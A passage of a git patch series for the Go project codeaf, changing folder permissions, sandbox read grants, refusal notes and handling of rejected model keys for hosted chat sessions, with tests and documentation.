0711 "$data" +chmod 0755 "$data" echo "sessionhost: serving hosted chats from $data as uid $(id -u)" >&2 exec codeaf sessionhost serve "$@" diff --git a/internal/sessionhost/api_test.go b/internal/sessionhost/api_test.go index 1df24ce7be..5b3570fd53 100644 --- a/internal/sessionhost/api_test.go +++ b/internal/sessionhost/api_test.go @@ -350,7 +350,7 @@ func TestC2_LayoutModesAndTraversal(t *testing.T) { t.Fatal(err) } for path, mode := range map[string]os.FileMode{ - filepath.Join(cfg.Data, "people"): 0o711, filepath.Dir(l.dir): 0o711, + filepath.Join(cfg.Data, "people"): 0o755, filepath.Dir(l.dir): 0o755, l.dir: 0o700, l.home(): 0o700, l.work(): 0o700, l.tmp(): 0o700, } { info, err := os.Lstat(path) @@ -537,3 +537,66 @@ func TestP1_0b_RefusalsNameTheSettingExactly(t *testing.T) { } } } + +// TestP1_0_EveryFolderAboveAChatCanBeOpenedForReadingByItsUser is item 0: the +// first command of every new hosted chat said "calls are not being sealed ... +// Permission denied" because the saved-history helper syncs every folder above +// a new file, and the folders above a chat allowed passing through but not +// opening. Each folder from the data folder down to the chat's own must now be +// readable by any chat's user, while a chat's own folder stays closed to all +// but its user. +func TestP1_0_EveryFolderAboveAChatCanBeOpenedForReadingByItsUser(t *testing.T) { + cfg := testConfig(t) + s, _, _ := testSupervisor(t, cfg, healthyReport()) + createChat(t, s, "alice", chatA) + l, err := layoutFor(cfg.Data, "alice", chatA) + if err != nil { + t.Fatal(err) + } + for _, dir := range []string{cfg.Data, filepath.Join(cfg.Data, "people"), filepath.Dir(l.dir)} { + info, err := os.Lstat(dir) + if err != nil || info.Mode().Perm()&0o055 != 0o055 { + t.Errorf("a chat's user could not open %s for reading: %v, %v", dir, info, err) + } + if info.Mode().Perm()&0o022 != 0 { + t.Errorf("%s can be changed by someone other than the supervisor: %v", dir, info.Mode()) + } + } + if info, err := os.Lstat(l.dir); err != nil || info.Mode().Perm() != 0o700 { + t.Fatalf("the chat's own folder is no longer closed to other chats: %v, %v", info, err) + } +} + +// TestP1_0_FoldersTheFirstStageMadeAreOpenedUpOnStart: a machine that already +// holds chats made with the first stage's 0711 folders must not need them +// recreated for the first command of an existing chat to stop saying so. +func TestP1_0_FoldersTheFirstStageMadeAreOpenedUpOnStart(t *testing.T) { + cfg := testConfig(t) + people := filepath.Join(cfg.Data, "people") + person := filepath.Join(people, personDir("alice")) + for _, dir := range []string{people, person} { + if err := os.MkdirAll(dir, 0o700); err != nil { + t.Fatal(err) + } + if err := os.Chmod(dir, 0o711); err != nil { + t.Fatal(err) + } + } + if err := os.Chmod(cfg.Data, 0o711); err != nil { + t.Fatal(err) + } + testSupervisor(t, cfg, healthyReport()) + for _, dir := range []string{cfg.Data, people, person} { + info, err := os.Lstat(dir) + if err != nil || info.Mode().Perm() != 0o755 { + t.Errorf("%s was not opened up on start: %v, %v", dir, info, err) + } + } + // Anything else is still refused rather than guessed at. + if err := os.Chmod(person, 0o770); err != nil { + t.Fatal(err) + } + if err := openAncestor(person); err == nil { + t.Error("a folder the supervisor did not make this way was accepted") + } +} diff --git a/internal/sessionhost/layout.go b/internal/sessionhost/layout.go index eef80e31fe..e85523df82 100644 --- a/internal/sessionhost/layout.go +++ b/internal/sessionhost/layout.go @@ -71,6 +71,54 @@ func setFreshMode(path string, mode os.FileMode) error { return os.Chmod(path, mode) } +// ancestorMode is the mode of every folder above a chat's own folder that the +// supervisor makes (the data folder, people, and one per person). THEY MUST BE +// OPEN FOR READING TO EVERY CHAT'S USER, NOT ONLY FOR PASSING THROUGH. The +// engine's saved-history helper makes each new file durable by opening and +// syncing every folder above it, all the way up; a folder that allowed only +// passing through (0711, which these were) made that open fail with "Permission +// denied", and the person's first command in every new chat said "calls are +// not being sealed". What reading these folders shows another chat is their +// names (a person's hashed name, a chat's random identifier) and nothing inside: +// every chat's own folder stays closed (0700, its own user). +const ancestorMode os.FileMode = 0o755 + +// legacyAncestorMode is what the first stage of hosted chats made these +// folders as. A folder with exactly that mode is opened up on start. +const legacyAncestorMode os.FileMode = 0o711 + +// ancestorDir makes path as an ancestor folder, or accepts one that is there. +func ancestorDir(path string) error { + err := os.Mkdir(path, ancestorMode) + switch { + case err == nil: + return setFreshMode(path, ancestorMode) + case errors.Is(err, os.ErrExist): + return openAncestor(path) + } + return err +} + +// openAncestor accepts an ancestor folder the supervisor owns, opening up one +// the first stage made, and refuses anything else (another owner, another mode, +// a link) as the rest of this file does. It never makes a folder. +func openAncestor(path string) error { + info, err := os.Lstat(path) + if err != nil { + return err + } + if !info.IsDir() || ownerUID(info) != os.Geteuid() { + return errLayout + } + switch info.Mode().Perm() { + case ancestorMode: + return nil + case legacyAncestorMode: + return os.Chmod(path, ancestorMode) + } + return errLayout +} + func checkSupervisorDir(path string, mode os.FileMode) error { info, err := os.Lstat(path) if err != nil { @@ -85,7 +133,7 @@ func checkSupervisorDir(path string, mode os.FileMode) error { func (l layout) stat() (os.FileInfo, error) { parent := filepath.Dir(l.dir) for _, path := range []string{filepath.Dir(parent), parent} { - if err := checkSupervisorDir(path, 0o711); err != nil { + if err := openAncestor(path); err != nil { return nil, err } } @@ -104,7 +152,7 @@ func (l layout) stat() (os.FileInfo, error) { func (l layout) makePrivateDir(uid int, chown func(string, int, int) error) (bool, error) { parent := filepath.Dir(l.dir) for _, path := range []string{filepath.Dir(parent), parent} { - if err := supervisorDir(path, 0o711); err != nil { + if err := ancestorDir(path); err != nil { return false, err } } diff --git a/internal/sessionhost/server.go b/internal/sessionhost/server.go index b15022f1d5..9d6be2a333 100644 --- a/internal/sessionhost/server.go +++ b/internal/sessionhost/server.go @@ -116,7 +116,7 @@ func newSupervisor(cfg Config, report Report, deps supervisorDeps) (*supervisor, if err := prepareData(data); err != nil { return nil, errLayout } - if err := supervisorDir(filepath.Join(data, "people"), 0o711); err != nil { + if err := ancestorDir(filepath.Join(data, "people")); err != nil { return nil, errLayout } r, err := loadRegistry(cfg, deps.now()) @@ -141,7 +141,7 @@ func prepareData(data string) error { path = filepath.Join(path, component) info, err := os.Lstat(path) if errors.Is(err, os.ErrNotExist) { - if err := supervisorDir(path, 0o711); err != nil { + if err := ancestorDir(path); err != nil { return err } info, err = os.Lstat(path) @@ -152,6 +152,14 @@ func prepareData(data string) error { if path == data && (ownerUID(info) != os.Geteuid() || info.Mode().Perm()&0o022 != 0) { return errLayout } + if path == data && info.Mode().Perm()&0o055 != 0o055 { + // Every chat's user must be able to open the data folder for reading + // (ancestorMode says why). The first stage's 0711, and a stricter mode + // a fresh volume came with, are opened up and nothing else is changed. + if err := os.Chmod(path, info.Mode().Perm()|0o055); err != nil { + return err + } + } } return nil } @@ -204,7 +212,7 @@ func (s *supervisor) quarantineFolders(known map[string]bool) error { } for _, entry := range parents { parent := filepath.Join(people, entry.Name()) - if err := checkSupervisorDir(parent, 0o711); err != nil { + if err := openAncestor(parent); err != nil { return err } folders, err := os.ReadDir(parent) From f1cdc12989a6368733a3b22a6bc3764520833cf5 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 07:45:00 -0500 Subject: [PATCH 053/176] executor: a read grant survives an unlistable folder, and a refused command's note names what the chat may reach avoiding() used to drop every grant below a folder it could not list; it now keeps granting what lies beside and below. A port-limited fence also writes its own sentence into the transcript, through Fence.WithNote, so a refused connection says which ports a chat may reach. Co-Authored-By: Claude Sonnet 5.5 --- internal/executor/fence.go | 45 ++++++++++++++------- internal/executor/fence_ports_linux_test.go | 26 ++++++++++++ internal/executor/fence_test.go | 32 +++++++++++++++ internal/session/loop.go | 2 +- 4 files changed, 90 insertions(+), 15 deletions(-) diff --git a/internal/executor/fence.go b/internal/executor/fence.go index f4119d1166..a92341362f 100644 --- a/internal/executor/fence.go +++ b/internal/executor/fence.go @@ -685,14 +685,27 @@ func FenceRefused(output []byte) bool { // WithFenceLine is output with [FenceLine] added once when it reads as a // refusal, and output unchanged otherwise. -func WithFenceLine(output string) string { +func WithFenceLine(output string) string { return withNote(output, FenceLine) } + +// WithNote is [WithFenceLine] with the sentence THIS fence explains its +// refusals with: a chat whose commands are limited to some ports is told what +// it may reach, and not to edit a repository's jail.allow, which a chat cannot +// do and which names a mechanism a person reading a chat never meets. +func (f *Fence) WithNote(output string) string { + if f == nil { + return WithFenceLine(output) + } + return withNote(output, f.noteLine()) +} + +func withNote(output, line string) string { if !FenceRefused([]byte(output)) || strings.Contains(output, FenceLine) || strings.Contains(output, FenceConnectLine) { return output } if output != "" && !strings.HasSuffix(output, "\n") { output += "\n" } - return output + FenceLine + return output + line } // Allows reports whether the fence lets an in-process file tool read (write @@ -745,19 +758,23 @@ func avoiding(grant string, avoid []string) map[string]bool { delete(out, g) for dir := g; dir != a; { next := nextOnPath(dir, a) - entries, err := os.ReadDir(dir) - if err != nil { - break - } - for _, e := range entries { - p := filepath.Join(dir, e.Name()) - if p == next { - continue - } - if real, err := filepath.EvalSymlinks(p); err == nil && real != p && pathInAny(real, avoid) { - continue + // A folder this user may pass through but not list (a hosted + // chat's machine keeps others' folders that way) cannot say what + // is beside the path, so none of it is granted, and the walk + // goes on below it. Stopping here instead dropped every grant + // beneath, and the chat's own files were then refused to its + // own commands. + if entries, err := os.ReadDir(dir); err == nil { + for _, e := range entries { + p := filepath.Join(dir, e.Name()) + if p == next { + continue + } + if real, err := filepath.EvalSymlinks(p); err == nil && real != p && pathInAny(real, avoid) { + continue + } + out[p] = true } - out[p] = true } dir = next } diff --git a/internal/executor/fence_ports_linux_test.go b/internal/executor/fence_ports_linux_test.go index 8338f09f86..80aba121b0 100644 --- a/internal/executor/fence_ports_linux_test.go +++ b/internal/executor/fence_ports_linux_test.go @@ -178,3 +178,29 @@ func TestP1_0c_NoListKeepsTheWholeNetwork(t *testing.T) { t.Fatalf("a required fence with no list lost the network: err %v exit %d stderr %q", err, res.Exit, res.Stderr) } } + +// TestP1_0c_ARefusedCommandsNoteNamesWhatTheChatMayReach is the sentence a +// person reads in the chat's own transcript: for a chat limited to some ports it +// is the connect sentence, for every other fence it is the old one, and never +// both. +func TestP1_0c_ARefusedCommandsNoteNamesWhatTheChatMayReach(t *testing.T) { + refused := "/bin/bash: connect: Permission denied" + limited := &Fence{Require: true, ConnectPorts: []int{443}} + if got := limited.WithNote(refused); !strings.HasSuffix(got, FenceConnectLine) || strings.Contains(got, FenceLine) { + t.Errorf("a chat limited to ports was told: %q", got) + } + if got := (&Fence{}).WithNote(refused); !strings.HasSuffix(got, FenceLine) || strings.Contains(got, FenceConnectLine) { + t.Errorf("a fence with no port limit was told: %q", got) + } + once := limited.WithNote(refused) + if limited.WithNote(once) != once { + t.Error("the note was added twice") + } + if got := limited.WithNote("build failed: syntax error"); got != "build failed: syntax error" { + t.Errorf("a command that was not refused was annotated: %q", got) + } + var none *Fence + if got := none.WithNote(refused); !strings.HasSuffix(got, FenceLine) { + t.Errorf("no fence at all: %q", got) + } +} diff --git a/internal/executor/fence_test.go b/internal/executor/fence_test.go index 4d1ccf1298..b51553262d 100644 --- a/internal/executor/fence_test.go +++ b/internal/executor/fence_test.go @@ -171,6 +171,38 @@ func TestAvoidingGrantsEverythingBesideTheAvoidedPath(t *testing.T) { } } +// A folder on the way to the avoided path that can be passed through but not +// listed must not end the walk: the grants BELOW it are still the chat's own +// files, and losing them made a hosted chat's commands unable to read its own +// git settings (P1 item 0, found on the first run of the hosted smoke). +func TestAvoidingKeepsGrantingBelowAFolderItCannotList(t *testing.T) { + if os.Geteuid() == 0 { + t.Skip("root lists every folder") + } + root := canon(t, t.TempDir()) + for _, d := range []string{"people/p/chat/home/keep", "people/p/chat/home/secret"} { + if err := os.MkdirAll(filepath.Join(root, d), 0o700); err != nil { + t.Fatal(err) + } + } + if err := os.WriteFile(filepath.Join(root, "people", "p", "chat", "home", "settings"), nil, 0o600); err != nil { + t.Fatal(err) + } + if err := os.Chmod(filepath.Join(root, "people"), 0o711); err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = os.Chmod(filepath.Join(root, "people"), 0o700) }) + var got []string + for p := range avoiding(root, []string{filepath.Join(root, "people", "p", "chat", "home", "secret")}) { + rel, _ := filepath.Rel(root, p) + got = append(got, rel) + } + sort.Strings(got) + if strings.Join(got, " ") != "people/p/chat/home/keep people/p/chat/home/settings" { + t.Fatalf("grants %q", got) + } +} + func TestTheSeatbeltFenceProfileRefusesWhatTheFenceRefuses(t *testing.T) { f, home, main, work := fenceFixture(t, FenceAllow{}) profile := fenceProfile(f) diff --git a/internal/session/loop.go b/internal/session/loop.go index a1568bd636..23e7ede051 100644 --- a/internal/session/loop.go +++ b/internal/session/loop.go @@ -3916,7 +3916,7 @@ func (a *Agent) executeRecorded(ctx context.Context, tool bare.Tool, args json.R // A COMMAND THE FENCE STOPPED SAYS SO, in the one sentence the model and // the person both read, under the command's own error. if isError && err == nil && a.config.fence() != nil { - text = procexec.WithFenceLine(text) + text = a.config.fence().WithNote(text) } return []byte(text), isError || err != nil }) From aae3353505c261f8c93020d97ec4995639f03698 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 07:45:00 -0500 Subject: [PATCH 054/176] hosted P1: satisfy the env, model-spend and default-identity laws The git setup reads its variables through internal/env, the hosted model funnel has an owner row in the spend ledger, and the sealed-key provider names use modelsource.DefaultID rather than a literal. Co-Authored-By: Claude Sonnet 5.5 --- cmd/codeaf/hostedgit.go | 5 +++-- cmd/codeaf/testdata/model_spend_owners.tsv | 1 + internal/factory/serve/model_route.go | 3 ++- internal/factory/store/person_keys.go | 3 ++- 4 files changed, 8 insertions(+), 4 deletions(-) diff --git a/cmd/codeaf/hostedgit.go b/cmd/codeaf/hostedgit.go index ef2bb7fc10..2a4d733835 100644 --- a/cmd/codeaf/hostedgit.go +++ b/cmd/codeaf/hostedgit.go @@ -10,11 +10,12 @@ import ( "path/filepath" "strings" + "github.com/Agent-Field/codeaf/internal/env" "github.com/Agent-Field/codeaf/internal/fsreplace" ) func hostedPrepareGit() { - home, gitURL := os.Getenv("HOME"), os.Getenv("CODEAF_HOSTED_GIT_URL") + home, gitURL := os.Getenv("HOME"), env.Get("CODEAF_HOSTED_GIT_URL") if home == "" || gitURL == "" { return } @@ -42,7 +43,7 @@ func writeHostedGitSetup(home, gitURL string) error { return err } var config strings.Builder - for _, raw := range strings.Split(os.Getenv("CODEAF_HOSTED_GIT_HOSTS"), ",") { + for _, raw := range strings.Split(env.Get("CODEAF_HOSTED_GIT_HOSTS"), ",") { if raw == "" { continue } diff --git a/cmd/codeaf/testdata/model_spend_owners.tsv b/cmd/codeaf/testdata/model_spend_owners.tsv index 7b3d9cc004..3bbbb23428 100644 --- a/cmd/codeaf/testdata/model_spend_owners.tsv +++ b/cmd/codeaf/testdata/model_spend_owners.tsv @@ -22,6 +22,7 @@ internal/exec/media.go:Toolbox.generateMusic:GenerateMusic exception: music internal/exec/media.go:Toolbox.generateVideo:GenerateVideo exception: video internal/exec/media.go:Toolbox.speak:Speak exception: speech internal/exec/media.go:Toolbox.viewImage:CompleteWithMessages exception: untraced image and media transport +internal/factory/serve/model_route.go:Handler.openHostedModel:CompleteWithMessages owner: Hosted chat metering (modelapi Bank -> postHostedSpend -> My space AddSpend, the chat cap and the monthly limit checked before each call) internal/head/absorb.go:Head.deliveryAnswer:CompleteWithMessages exception: untraced resident assistants internal/head/aside.go:Head.Ask:CompleteWithMessages exception: untraced resident assistants internal/head/loop.go:Head.runTurn:CompleteWithMessages exception: untraced resident assistants diff --git a/internal/factory/serve/model_route.go b/internal/factory/serve/model_route.go index ced4347678..37fa57f76d 100644 --- a/internal/factory/serve/model_route.go +++ b/internal/factory/serve/model_route.go @@ -21,6 +21,7 @@ import ( "github.com/Agent-Field/codeaf/internal/factory/record" "github.com/Agent-Field/codeaf/internal/factory/store" lanes "github.com/Agent-Field/codeaf/internal/lane" + "github.com/Agent-Field/codeaf/internal/modelsource" "github.com/Agent-Field/codeaf/internal/provider" "github.com/Agent-Field/codeaf/internal/provider/modelapi" ) @@ -265,7 +266,7 @@ func (h *Handler) hostedKeyLookup() func(person, provider string) (string, bool, } func (h *Handler) chooseHostedModelKey(person string) (string, bool, error) { - if key, own, err := h.hostedKeyLookup()(person, "openrouter"); err != nil || own { + if key, own, err := h.hostedKeyLookup()(person, modelsource.DefaultID); err != nil || own { return key, own, err } cfg := h.config.Hosted diff --git a/internal/factory/store/person_keys.go b/internal/factory/store/person_keys.go index 865ccaf8fc..7950a96a3b 100644 --- a/internal/factory/store/person_keys.go +++ b/internal/factory/store/person_keys.go @@ -14,6 +14,7 @@ import ( "time" "github.com/Agent-Field/codeaf/internal/factory" + "github.com/Agent-Field/codeaf/internal/modelsource" ) // ── A PERSON'S OWN KEYS, SEALED ──────────────────────────────────────────── @@ -40,7 +41,7 @@ import ( // wrongly or a new one is sealed under a key the old ones cannot be read with. // PersonKeyProviders are the providers a person may keep a secret for. -var PersonKeyProviders = []string{"openrouter", "github"} +var PersonKeyProviders = []string{modelsource.DefaultID, "github"} // KnownPersonKeyProvider says p is a provider a person may keep a secret for. func KnownPersonKeyProvider(p string) bool { From 60a5ffc3757c113f60fb47015ddad7c8de1d0d11 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 07:45:01 -0500 Subject: [PATCH 055/176] hosted P1: smoke row for the first command, manual and README note on readable folders, shorter change title Co-Authored-By: Claude Sonnet 5.5 --- deploy/org/README.md | 5 +++++ deploy/org/scripts/smoke.py | 2 ++ docs/changes/unreleased/2898-hosted-chats-p1.md | 2 +- internal/manual/chat/organization-hosted-sessions.md | 2 +- 4 files changed, 9 insertions(+), 2 deletions(-) diff --git a/deploy/org/README.md b/deploy/org/README.md index 41261375e4..ac32ac28ff 100644 --- a/deploy/org/README.md +++ b/deploy/org/README.md @@ -123,6 +123,11 @@ because it has to become a different Linux user for every chat. It is built from - **A user and a folder of its own.** The chat runs as its own Linux user (numbers from 200000 up) in `/chats/people///`, mode 0700, with `home`, `work` and `tmp` inside. Another chat's user cannot read, write, list or signal it, and the organization server's own data is not on this machine's disk. + The folders above a chat (`/chats`, `people` and one per person, mode 0755) are readable by every chat's + user on purpose: the saved-history helper syncs every folder above a new file, and a folder that could only be + passed through made the first command of every new chat say "calls are not being sealed". The price is that a + command can list the names of other chats (a hashed name per person, a random identifier per chat), never what + is inside them. - **A fence on every command**, switched on and not removable from inside the chat. If this machine cannot apply one, the chat's commands are refused, never run open; if it cannot switch users it starts no chats and says so (`codeaf sessionhost probe` prints what it measured; `ok: false` is a refusal). diff --git a/deploy/org/scripts/smoke.py b/deploy/org/scripts/smoke.py index 864ef9d06e..080adf22b5 100755 --- a/deploy/org/scripts/smoke.py +++ b/deploy/org/scripts/smoke.py @@ -529,6 +529,8 @@ def hosted(): status, out, err = chat(owner, first, session=first_id) check('C1 a chat opens through `codeaf chat --org` and runs a shell, git and a worktree', status == 0 and 'STUB ran' in out and field(out, 'STATUS') == '?? f', short(out + err, 300)) + # P1 item 0: the first command of a brand-new chat used to end with "calls are not being sealed ... Permission denied". + check('P1-0 the first command of a new chat does not say its calls are not being sealed', 'not being sealed' not in out + err, short(err, 200)) host = field(out, 'HOST') check('C1 the commands ran on another machine than the organization server', bool(host) and host != socket.gethostname(), f'{host} vs {socket.gethostname()}') work = field(out, 'PWD') or '' diff --git a/docs/changes/unreleased/2898-hosted-chats-p1.md b/docs/changes/unreleased/2898-hosted-chats-p1.md index 64c774692d..1482e48ee5 100644 --- a/docs/changes/unreleased/2898-hosted-chats-p1.md +++ b/docs/changes/unreleased/2898-hosted-chats-p1.md @@ -1,6 +1,6 @@ --- kind: added -title: Hosted chats get a metered model door, per-person sealed keys, git through the server and a port limit +title: Hosted chats get a metered model door, sealed personal keys, server-side git and a port limit pr: 2898 surface: [chat, engine, factory, build, docs] invalidates: diff --git a/internal/manual/chat/organization-hosted-sessions.md b/internal/manual/chat/organization-hosted-sessions.md index e39d51d013..84c9f3ea7a 100644 --- a/internal/manual/chat/organization-hosted-sessions.md +++ b/internal/manual/chat/organization-hosted-sessions.md @@ -34,7 +34,7 @@ The organization's operator keeps the machine and its disk. See *what can the op Each chat belongs to the person who made it. Another person cannot open it, list it, stop it or delete it, and cannot tell it exists: asking for someone else's chat gets the same answer as asking for one that was never made, `There is no such chat.` -A chat also cannot see another chat. Every chat runs as a separate user of the machine, in a folder only that user can read or write, so a command in one chat cannot read another chat's files, send it a signal or read its environment. Files a command leaves in `/tmp` or `/dev/shm`, which every chat on the machine shares, are closed to other chats unless you open them yourself, and a command cannot connect to another chat's local sockets. For the same reason two separate commands of one chat do not reach each other's abstract sockets (a socket whose name starts with `@`); sockets that are files, such as the ones tools keep in a folder, are not affected. That holds between two chats of the same person too. +A chat also cannot see another chat. Every chat runs as a separate user of the machine, in a folder only that user can read or write, so a command in one chat cannot read another chat's files, send it a signal or read its environment. Files a command leaves in `/tmp` or `/dev/shm`, which every chat on the machine shares, are closed to other chats unless you open them yourself, and a command cannot connect to another chat's local sockets. For the same reason two separate commands of one chat do not reach each other's abstract sockets (a socket whose name starts with `@`); sockets that are files, such as the ones tools keep in a folder, are not affected. That holds between two chats of the same person too. One thing a command can still see is that other chats exist: the folders above a chat are readable so the chat can save its history, which lists their names (a hashed name for each person and a random identifier for each chat) and nothing inside them. What the operator of the machine could do is a separate matter: see *what can the operator of the server see*. From 7add21a7b7c574b59c23ccb4d084d17184438e46 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 08:06:51 -0500 Subject: [PATCH 056/176] deploy/org: the git stub image carries git-http-backend, and the smoke reads the broker file's mode as the chat's own user Alpine keeps the smart-HTTP backend in git-daemon, so the stub answered every clone with a 500. The smoke's last row globbed chat folders as the machine's root, which cannot look inside them, and found nothing; it now stats each file as the chat's own user. Co-Authored-By: Claude Sonnet 5.5 --- deploy/org/gitstub.Dockerfile | 3 ++- deploy/org/scripts/smoke.py | 14 +++++++++++--- 2 files changed, 13 insertions(+), 4 deletions(-) diff --git a/deploy/org/gitstub.Dockerfile b/deploy/org/gitstub.Dockerfile index a47e12b58e..6d3e807e27 100644 --- a/deploy/org/gitstub.Dockerfile +++ b/deploy/org/gitstub.Dockerfile @@ -6,7 +6,8 @@ COPY gitstub/ ./ RUN go build -trimpath -ldflags="-s -w" -o /out/gitstub . FROM alpine:3.21 -RUN apk add --no-cache git +# Alpine ships git-http-backend, the smart-HTTP server the stub runs, in its own package. +RUN apk add --no-cache git git-daemon COPY --from=build /out/gitstub /usr/local/bin/gitstub EXPOSE 8891 ENTRYPOINT ["/usr/local/bin/gitstub"] diff --git a/deploy/org/scripts/smoke.py b/deploy/org/scripts/smoke.py index 080adf22b5..809fb4adb3 100755 --- a/deploy/org/scripts/smoke.py +++ b/deploy/org/scripts/smoke.py @@ -1114,9 +1114,17 @@ def work(): if mine: Path('/tmp/smoke-p1-access').write_text(mine[0]) os.chmod('/tmp/smoke-p1-access', 0o600) - brokers = glob.glob('/chats/people/*/hs_*/home/.config/codeaf-hosted/broker') - check('P1-6 the file git\'s helper reads is closed to everyone but the chat', brokers and all((os.stat(b).st_mode & 0o777) == 0o600 for b in brokers), - [oct(os.stat(b).st_mode & 0o777) for b in brokers]) + # The machine's own root cannot look inside a chat's folder, so each file's mode is read AS the chat's own user. + def broker_mode(folder): + return lambda: os.stat(os.path.join(folder, 'home', '.config', 'codeaf-hosted', 'broker')).st_mode & 0o777 + modes = [] + for folder in people: + info = os.stat(folder) + mode = as_user(info.st_uid, info.st_gid, broker_mode(folder)) + if mode is not None: + modes.append(mode) + check('P1-6 the file git\'s helper reads is closed to everyone but the chat', len(modes) >= 2 and all(mode == 0o600 for mode in modes), + [oct(mode) for mode in modes]) def model_door(token, verb='GET', path='/v1/model/models'): From 3be9c735c5c692aa5bc386235d367b94182ff43e Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 09:20:36 -0500 Subject: [PATCH 057/176] hosted P1: a rejected model key is a plain refusal, one operator line, never a retried 502 When the provider answered 401 or 403 to the organization's model key, the model door relayed a 502, the engine retried it quietly about once a minute and the organization's log said nothing. Now the chat's call gets a 401 with one plain sentence (not retried, no key or provider words in it) and the server's log gets ONE line naming the cause, repeated at most every 30 minutes and again as a new outage once the key has worked. A person's own stored key that is rejected gets the same treatment worded as theirs, and the organization's key is never used in its place. Co-Authored-By: Claude Sonnet 5.5 --- internal/factory/serve/hosted_proxy.go | 2 + internal/factory/serve/model_refused.go | 70 ++++++++++++ internal/factory/serve/model_route.go | 23 +++- internal/factory/serve/model_route_test.go | 125 ++++++++++++++++++++- 4 files changed, 214 insertions(+), 6 deletions(-) create mode 100644 internal/factory/serve/model_refused.go diff --git a/internal/factory/serve/hosted_proxy.go b/internal/factory/serve/hosted_proxy.go index 43c520481e..f0dba14c01 100644 --- a/internal/factory/serve/hosted_proxy.go +++ b/internal/factory/serve/hosted_proxy.go @@ -89,6 +89,8 @@ type hostedState struct { keysErr error // models is the registry of each chat's metered model server (model_route.go). models modelRegistry + // refusals keeps the operator's log to one line per refused key (model_refused.go). + refusals keyRefusals // attach serializes the first attach of a chat with the push of its // credentials. Without it a second window attaching at the same moment // would see a live bearer, skip the push and reach the chat's host before diff --git a/internal/factory/serve/model_refused.go b/internal/factory/serve/model_refused.go new file mode 100644 index 0000000000..a6cbdc7b45 --- /dev/null +++ b/internal/factory/serve/model_refused.go @@ -0,0 +1,70 @@ +package serve + +import ( + "log" + "sync" + "time" +) + +// hostedRefusalEvery is how long the operator's log stays quiet about a key the +// provider keeps refusing. A dead key refuses every call of every chat, and a +// line per call would bury the one line that says what is wrong. +const hostedRefusalEvery = 30 * time.Minute + +// keyRefusals remembers what the operator has already been told about keys the +// model's provider refused, so that a key which is dead is named once and not +// on every call. It holds no key: it holds a time per person and one for the +// organization. +type keyRefusals struct { + mu sync.Mutex + org time.Time // zero when the organization's key is not known to be refused + own map[string]time.Time // person to when they were last named + // logf is the operator's log. Tests replace it. + logf func(format string, args ...any) +} + +func (k *keyRefusals) logLine(format string, args ...any) { + if k.logf != nil { + k.logf(format, args...) + return + } + log.Printf(format, args...) +} + +// refused records that the provider refused a key with the given status, and +// writes ONE operator line the first time, and again only after +// hostedRefusalEvery or after the key has worked once. The line names the cause +// and the setting, never the key. own says whose key it was: a person's own +// sealed key, or the organization's. +func (k *keyRefusals) refused(now time.Time, own bool, person string, status int) { + k.mu.Lock() + defer k.mu.Unlock() + if own { + if k.own == nil { + k.own = make(map[string]time.Time) + } + if last, ok := k.own[person]; ok && now.Sub(last) < hostedRefusalEvery { + return + } + k.own[person] = now + k.logLine("hosted chats: the model provider refused the own model key of person %s (HTTP %d); their chats pause with a plain sentence until they replace or remove it", person, status) + return + } + if !k.org.IsZero() && now.Sub(k.org) < hostedRefusalEvery { + return + } + k.org = now + k.logLine("hosted chats: the model provider refused the organization's model key (HTTP %d); every chat that uses it pauses with a plain sentence until the key is replaced (CODEAF_HOSTED_MODEL_KEY, or the organization's keys); this line is repeated at most every %s", status, hostedRefusalEvery) +} + +// accepted records that a key worked, so a later refusal is a new outage and +// gets its own line. +func (k *keyRefusals) accepted(own bool, person string) { + k.mu.Lock() + defer k.mu.Unlock() + if own { + delete(k.own, person) + return + } + k.org = time.Time{} +} diff --git a/internal/factory/serve/model_route.go b/internal/factory/serve/model_route.go index 37fa57f76d..c64e7b4d16 100644 --- a/internal/factory/serve/model_route.go +++ b/internal/factory/serve/model_route.go @@ -35,7 +35,11 @@ const ( hostedMonthLimit = "You have reached your monthly limit of $%.2f, so this chat is paused. The organization's operator can raise it in Settings." hostedModelBusy = "This chat is already making as many requests as it may at once. Try again in a moment." hostedOwnKey = "Your own model key could not be opened on this server, so this chat paused instead of using the organization's." - hostedLimitCheck = "This chat could not check its limit just now." + // A provider that refuses a key (401 or 403) is a fact about the key, not a + // hiccup: the chat says so once, in a sentence, and is not retried. + hostedOrgKeyRefused = "The organization's model access was refused by its provider, so this chat paused. Ask the organization's operator to check the model key." + hostedOwnKeyRefused = "Your own model key was refused by its provider, so this chat paused. Replace it or remove it, then send your message again." + hostedLimitCheck = "This chat could not check its limit just now." ) var hostedCompletionPath = modelapi.ChatURL("") @@ -322,12 +326,21 @@ func (h *Handler) openHostedModel(row bearerRow, space factory.OrgWorkstream, ce ctx = entry.withBillingSource(ctx, call.own) call.called.Store(true) answer, err := completer.CompleteWithMessages(ctx, messages, opts...) - if status, _ := provider.StatusOf(err); call.own && status == http.StatusUnauthorized { - message := err.Error() - if refusal, ok := provider.RefusalFrom(err); ok && refusal.Message != "" { - message = refusal.Message + // THE PROVIDER REFUSING THE KEY IS ANSWERED AS A REFUSAL, NEVER AS A + // BAD GATEWAY. A 502 tells the engine the model may answer later, so it + // retried about once a minute while nothing said why. A 401 is its + // "this account is not served" answer: it stops, and the person reads + // the sentence. The provider's own words are not passed on (they can + // echo a key); the operator gets one line naming the cause. + if status, _ := provider.StatusOf(err); status == http.StatusUnauthorized || status == http.StatusForbidden { + message := hostedOrgKeyRefused + if call.own { + message = hostedOwnKeyRefused } call.rejected.Store(&message) + cfg.state.refusals.refused(h.clock(), call.own, row.person, status) + } else if err == nil { + cfg.state.refusals.accepted(call.own, row.person) } return answer, err }) diff --git a/internal/factory/serve/model_route_test.go b/internal/factory/serve/model_route_test.go index 0ec32e77c3..69a7a46903 100644 --- a/internal/factory/serve/model_route_test.go +++ b/internal/factory/serve/model_route_test.go @@ -490,7 +490,9 @@ func TestP1_5_UpstreamRejectingAnOwnKeyIsReturnedNotRetriedWithTheOrgKey(t *test return nil, &provider.APIError{Status: 401, Message: "invalid key"} }) w := callHostedModel(rg, rg.create(t, "santosh"), testHostedBody) - hostedModelErrorIs(t, w, 401, "", 